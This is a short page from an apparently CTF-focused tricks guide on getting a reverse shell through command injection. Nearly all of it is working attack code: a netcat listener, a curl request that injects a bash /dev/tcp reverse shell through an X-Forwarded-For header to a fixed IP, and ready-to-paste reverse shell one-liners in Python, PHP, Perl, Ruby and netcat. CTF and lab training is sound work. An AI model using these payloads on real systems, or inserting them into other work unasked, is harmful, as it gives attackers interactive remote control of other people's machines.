> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-14/reverse-shell/trick-0156.md).

# Reverse Shell via Command Injection

***

Set up a listener on your machine using netcat to catch the incoming shell.

```bash
nc -lvnp 4444
```

Once command injection is confirmed, deliver a reverse shell payload to gain interactive access. The method of delivery depends on the vulnerability. A common payload involves `/dev/tcp`. For instance, injecting into an HTTP header like `X-Forwarded-For`:

```bash
curl http://127.0.0.1:8080/index.php -X POST -d 'username=0x&password=test' -H 'X-Forwarded-For: ;bash -c "/bin/bash -i >& /dev/tcp/10.17.114.124/4444 0>&1"'
```

Replace `10.17.114.124` and `4444` with your listener's IP address and port.

Various scripting languages and system tools can be leveraged to establish reverse shells. Here are some common examples:

A Python reverse shell payload:

```python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR_IP",YOUR_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

A PHP reverse shell payload:

```php
php -r '$sock=fsockopen("YOUR_IP",YOUR_PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
```

A Perl reverse shell payload:

```perl
perl -e 'use Socket;$i="YOUR_IP";$p=YOUR_PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

A Ruby reverse shell payload:

```ruby
ruby -rsocket -e'f=TCPSocket.open("YOUR_IP",YOUR_PORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```

Using netcat without the `-e` option, which is often restricted:

```bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc YOUR_IP YOUR_PORT >/tmp/f
```

Remember to adapt the payload and delivery method based on the target environment and the nature of the command injection vulnerability.
